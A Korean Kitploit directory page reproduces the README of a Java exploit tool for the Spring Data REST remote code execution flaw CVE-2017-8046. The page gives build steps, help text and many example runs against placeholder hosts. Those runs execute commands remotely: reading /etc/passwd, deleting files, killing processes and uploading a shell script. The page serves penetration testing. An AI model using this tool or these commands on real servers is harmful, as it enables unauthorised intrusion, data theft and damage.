Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
spring-break_cve-2017-8046 — Spring Break 취약점(CVE-2017-8046)을 악용하는 Java 프로그램입니다. | Kitploit
도구/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

Spring Break 취약점(CVE-2017-8046)을 악용하는 Java 프로그램입니다.

저장소 보기
171115년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

spring-break_cve-2017-8046

이것은 Spring Break 취약점(CVE-2017-8046)을 악용하는 Java 프로그램입니다.

이 소프트웨어는 가능한 한 외부 종속성을 최소화하도록 작성되었습니다.

DISCLAIMER

이 도구는 보안 엔지니어와 앱시큐리티 담당자가 보안 평가를 수행할 수 있도록 제작되었습니다. 이 도구를 책임감 있게 사용하시기 바랍니다. 누구든 이 애플리케이션을 사용하는 방식에 대해 저는 책임을 지지 않습니다. 이 도구를 사용하여 발생한 손해나 저지른 범죄에 대해 저는 책임이 없습니다.

취약점 정보

  • CVE-ID: CVE-2017-8046
  • 링크: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • 설명: Pivotal Spring Data REST 2.5.12, 2.6.7, 3.0 RC3 이전 버전과 Spring Boot 2.0.0M4 이전 버전, 그리고 Kay-RC3 이전의 Spring Data 릴리스 트레인에서 spring-data-rest 서버로 전송된 악의적인 PATCH 요청은 특수하게 조작된 JSON 데이터를 사용하여 임의의 Java 코드를 실행할 수 있습니다.
  • 공급업체 링크: https://pivotal.io/security/cve-2017-8046

실행 가능한 JAR 생성 방법

익스플로잇을 실행하는 데 사용할 수 있는, 모든 종속성을 포함한 실행 가능한 JAR을 생성하려면 다음 단계를 따르십시오.

Maven 사용

다음 Maven 명령을 실행할 수 있습니다:

root@kitploit:~
mvn clean compile package

Eclipse 사용

다음 단계를 수행할 수 있습니다:

  1. 모든 외부 종속성/라이브러리를 해결합니다;
  2. Eclipse 프로젝트를 마우스 오른쪽 버튼으로 클릭하고 Run As > Run Configurations로 이동합니다;
  3. Java Application을 마우스 오른쪽 버튼으로 클릭한 다음 New를 클릭합니다;
  4. 이름을 선택하고 메인 클래스를 com.afs.exploit.spring.SpringBreakCve20178046으로 설정합니다;
  5. Apply 버튼을 클릭합니다;
  6. 창을 닫고 Eclipse 메인 창으로 돌아갑니다;
  7. Eclipse 프로젝트를 마우스 오른쪽 버튼으로 클릭하고 Export...를 클릭합니다;
  8. Runnable JAR file(Java 브랜치 아래)을 찾아 선택합니다;
  9. 다음 창에서:
    1. 앞서 생성한 올바른 Launch configuration을 선택합니다;
    2. Export destination을 선택합니다;
    3. Extract required libraries into generated JAR 옵션을 선택합니다;
    4. Finish 버튼을 클릭합니다.

도움말

root@kitploit:~
Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

예시

root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

참조된 리소스/URL은 반드시 존재해야 한다는 점에 유의하십시오!

취약한 애플리케이션

취약한 애플리케이션은 여기에서 찾을 수 있습니다.

작성자

  • Antonio Francesco Sardella - 메인 구현 - m3ssap0
  • Yassine Tioual - HTTP 헤더 개선 - nisay759
  • Robin Wagenaar - 'replace' 대신 'remove' 패치 연산을 사용하자는 제안과 파일 업로드 기능 제공 - RobinWagenaar

라이선스

이 프로젝트는 Apache License 버전 2.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE.txt 파일을 참조하십시오.

감사의 말

  • Man Yue Mo 취약점을 발견한 보안 연구원
도구 다운로드